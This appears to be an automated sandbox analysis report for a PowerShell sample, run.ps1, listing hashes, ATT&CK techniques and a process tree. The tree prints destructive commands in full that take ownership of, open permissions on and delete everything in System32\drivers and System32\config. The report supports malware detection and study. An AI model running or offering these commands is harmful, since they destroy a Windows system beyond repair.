735116a2700250eb6865f98ebef5519c9de350fde9fc5bb0a3b3c18a63486c78

Analysis

max time kernel
40s
max time network
38s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
15/08/2024, 22:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.ps1
Size 1KB
Sample240815-2pnvrstgrp
SHA256 735116a2700250eb6865f98ebef5519c9de350fde9fc5bb0a3b3c18a63486c78
MD5 84cb1e2083b8106b83a45c6aa00dd55d
SHA1 e12ea5b7deb81774acb89088dc1f2dce755782e9
SHA512 4b01e6fcd0776596cf39de15cf7b8777f508246c6fb0f0023067db9116d364bd4693b71d9273c942c9357f18a2a631ec698b7e0a00d3f239da90df0b882e5e3a
MD5 SHA1 SHA512

Score

8^/10

discovery execution exploit

Malware Config

Signatures

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
4368	takeown.exe
4712	icacls.exe
336	takeown.exe
2272	icacls.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2272	icacls.exe
4368	takeown.exe
4712	icacls.exe
336	takeown.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1028	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133682355831337648"	chrome.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1028	powershell.exe
1028	powershell.exe
4720	chrome.exe
4720	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeTakeOwnershipPrivilege	4368	takeown.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe
Token: SeShutdownPrivilege	4720	chrome.exe
Token: SeCreatePagefilePrivilege	4720	chrome.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe
4720	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 4364	1028	powershell.exe	83
PID 1028 wrote to memory of 4364	1028	powershell.exe	83
PID 4364 wrote to memory of 1844	4364	csc.exe	84
PID 4364 wrote to memory of 1844	4364	csc.exe	84
PID 1028 wrote to memory of 4524	1028	powershell.exe	85
PID 1028 wrote to memory of 4524	1028	powershell.exe	85
PID 4524 wrote to memory of 4368	4524	cmd.exe	86
PID 4524 wrote to memory of 4368	4524	cmd.exe	86
PID 4524 wrote to memory of 4712	4524	cmd.exe	87
PID 4524 wrote to memory of 4712	4524	cmd.exe	87
PID 1028 wrote to memory of 4424	1028	powershell.exe	88
PID 1028 wrote to memory of 4424	1028	powershell.exe	88
PID 4424 wrote to memory of 336	4424	cmd.exe	89
PID 4424 wrote to memory of 336	4424	cmd.exe	89
PID 4424 wrote to memory of 2272	4424	cmd.exe	90
PID 4424 wrote to memory of 2272	4424	cmd.exe	90
PID 4720 wrote to memory of 2144	4720	chrome.exe	94
PID 4720 wrote to memory of 2144	4720	chrome.exe	94
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 4552	4720	chrome.exe	95
PID 4720 wrote to memory of 1140	4720	chrome.exe	96
PID 4720 wrote to memory of 1140	4720	chrome.exe	96
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97
PID 4720 wrote to memory of 3892	4720	chrome.exe	97

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\run.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1028
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp" "c:\Users\Admin\AppData\Local\Temp\elbgn5j4\CSC8439CDD542794B94BDB39D44C23AB91F.TMP"
    3⤵
    PID:1844
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\drivers\* >nul && icacls C:\Windows\System32\drivers\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\drivers\* >nul 2>&1 && exit"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\drivers\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4368
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\drivers\* /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4712
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /k "takeown /f C:\Windows\System32\config\* >nul && icacls C:\Windows\System32\config\* /grant everyone:(f) >nul && del /s /q C:\Windows\System32\config\* >nul 2>&1 && exit"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\config\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:336
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\config\* /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2272

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffa6496cc40,0x7ffa6496cc4c,0x7ffa6496cc58
  2⤵
  PID:2144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1804,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=1796 /prefetch:2
  2⤵
  PID:4552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2028,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2092 /prefetch:3
  2⤵
  PID:1140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2168,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=2180 /prefetch:8
  2⤵
  PID:3892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3112,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3124 /prefetch:1
  2⤵
  PID:3812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3132,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3288 /prefetch:1
  2⤵
  PID:3396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4544,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4528 /prefetch:1
  2⤵
  PID:1796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4788,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4796 /prefetch:8
  2⤵
  PID:4404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4800,i,9405186354360882082,9966216644901372563,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=4816 /prefetch:8
  2⤵
  PID:4020

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 91bf2631fc78c079e678aa68875047d3af7610a41a00d9976149429496efa135
MD5 5ec0ff515233515be173f15876227b37
SHA1 44b7633fe1c9bb543b9052c57e7613b3a60c5cf5
SHA512 825019e4e05db7797698f6e22afe384c445c3fb849c4f9bc85b7df16937acf7ef11ddf10f4ba404bb78e3bc0ab6cdc3af0e2f03425d275771e7a9ab3c626607f
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 9acaa0e5f769b312afd8877243ecdbc1509b98cb023c4f6565efa35c32d07c40
MD5 089b2f60e54bfa5feadfe354dcc6fb21
SHA1 95cb0aa51f16272e14dba50bb932d49d2d2a39af
SHA512 db7389e4d384ae32e7539892e29064a2e91cdd3fa6bc763b1f16e7c53073118a4e4242fb73010357eade922880700f0aa86ec1586b57969289b0bb711b4c2f70
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 356B
SHA256 d4f8e4a52182835c00e6adc862f1416e7a2cee026f163f4936a17d9c7b1f48f8
MD5 e530125a4402e828720c65839efcca07
SHA1 344c537592e21b34ab0736f6c4f4e740518f6789
SHA512 220b06fd2b5b6c34b6c058c7649503a9d0a363dfe6e75bcda59acec43332ff456523c19d1e7f414ee60d2820a0d0166c2c68d9d3a4db6bcb721d02f54b858a17
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 8KB
SHA256 4b4fc04b0ac938c59a5a48e9434445efec17e272d64e4cb30f5a3d0a8acc41f9
MD5 6fa1b58c486731b5b7a143344ac66169
SHA1 262505355eb69c181dd7511da0a43e9ace289d6d
SHA512 14d81fc8b3b12cda5f6993fe823a55f87efdd93d71d049662cb85ffce8142ba71138ce7942c9f901ead4a2236ebeca1321fac90115fb87a45893456804080223
SSDEEP 192:tQXPZKkeejKHV+FRczbJBkwy0B6Po6yIsnVdg4:tQXPTeGREj7M4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 15KB
SHA256 d5e8c7f5b74707ed569395eb114cd396303728d1d817dd061d21d342ac056e96
MD5 786164b792a9264eeae40b5922e20350
SHA1 7ba1565c661dfe8f45b353c20880fa51bae822de
SHA512 a448ad349fd6ce2827dd95e8f786b8101e58c636b788e6343fef077cd905c6d9c723afd5e9d94ee2fee6b7dec939b481d058809c4ab1bf10b882dc36eb7c4120
SSDEEP 384:2OPB7pLhLc+e+HXLn1kXqKf/pUZNCgVLH2HfS8drUxlHGXjxwac:2YB7pLhLn53Ln1kXqKf/pUZNCgVLH2He
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 196KB
SHA256 a309cf036d87bbcf1e6fda5d4ab49aa702b477174823162729759c1c7a48b295
MD5 f30616caff147033ca37e982c6b23e30
SHA1 047fe25ed6520ca3d0cc8c0d167e05f8006a984b
SHA512 7031f3465a1656ac0e76644444a4313371d001dac04b6994e1085add5aed04a53f6dc126c6270240801fb1e6c8adf029b9e25bafd5f18ce641452986e7a3398f
SSDEEP 6144:f2E6lfhYSk4h1UFWtXk0i68nvEBa0ptPvZ9W:f96lfhYSVEWm0id+vf+
MD5 SHA1 SHA512 SSDEEP

Submit Download

RESC4E6.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp
Size 1KB
SHA256 3a933697a4fe6f43ae04ad47b34db0100df88e08cbdacd50186974e0dfca70f9
MD5 54c68846dd00a4a912bc07af400db18e
SHA1 b4016d32e687ce6a5148291ff8abc80400ed14e8
SHA512 5c5d31db508943ee7e431ed7839aaeb67d222992d336cf5046c6b3ffee8a8785151e0a1c0b3d6930d4b99a3c4ef1f7333f61956504b682096e450c3e8c34cda8
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_ljrfxmqy.iwv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljrfxmqy.iwv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

elbgn5j4.dll

Path C:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.dll
Size 3KB
SHA256 d43d401e9213fe3a1c2328a71e24e4385dfbdd4782d4c2effda79df05c697384
MD5 c6da6a3abd57acbbb89fecd73dc5514e
SHA1 43b075ad1f60d5c1494f6f1181ef94a863f3563e
SHA512 89ffaf80d444f190e6c9d6cbcd5dd322f8d982c00321eb4d7eb2f7e493072c0e95836b8c5b79a3310a81856145d682f8fcf1db023d76a60b956668357bcb3ea0
MD5 SHA1 SHA512

Submit Download

CSC8439CDD542794B94BDB39D44C23AB91F.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\elbgn5j4\CSC8439CDD542794B94BDB39D44C23AB91F.TMP
Size 652B
SHA256 7fb917184c6829f4e37cd0ea2d66e493e9ee957088bb8d63f4f6c0c6937934d0
MD5 38c3f4c2b47b2ff3fa05d039e08ca287
SHA1 8a0ad58cbd322f345ca6bf162f9cfb08c8deb427
SHA512 d61ef2840059428bf2c4336319e1b8265760bd7dd9cf3206ec879d58a8ad2401615aa62cb25ac256ef34ab040115ae6870c24b40f3998fad8523a0044f37bc77
MD5 SHA1 SHA512

Submit Download

elbgn5j4.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.0.cs
Size 819B
SHA256 d842c81d3641d456116098208a48542a96d5e4d256169069189e459cc265cef5
MD5 41f8d18f0172904a2236dd9396ead480
SHA1 35e7150c927b97b26d922f07a51e8fe833752933
SHA512 43dea5a479cf203bde58b412ac1ca7c064048e7d4544b2ef4354773a1805ccba2b85e6772466da0b9409fadaaa0f6f49654ed1e33a9ef75a4d43c3f058773da3
MD5 SHA1 SHA512

Submit Download

elbgn5j4.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\elbgn5j4\elbgn5j4.cmdline
Size 369B
SHA256 9f957d19f07867f90e16fd24e91058be2af8dd7815048cae925c09fd0727b25b
MD5 b93320d41662ce212b684f22415a8f7b
SHA1 dd8a91ca1fe4bc529bfa12151a6df42236d83cb4
SHA512 5bfdcf78f4360e3715bd479b0ed230d1fc341ce978193c3e771fa5407b6129521e219b9047f3fe91bd9b2a842b24b7233b71bd63c90172db14f875b68e6e5c2d
MD5 SHA1 SHA512

Submit Download

memory/1028-28-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

Download

memory/1028-29-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

Download

memory/1028-30-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

Download

memory/1028-27-0x00007FFA63B13000-0x00007FFA63B15000-memory.dmp

Download

memory/1028-25-0x000001CBE8D90000-0x000001CBE8D98000-memory.dmp

Download

memory/1028-0-0x00007FFA63B13000-0x00007FFA63B15000-memory.dmp

Download

memory/1028-12-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

Download

memory/1028-10-0x000001CBE9200000-0x000001CBE9222000-memory.dmp

Download

memory/1028-11-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

Download

memory/1028-1-0x00007FFA63B10000-0x00007FFA645D2000-memory.dmp

Download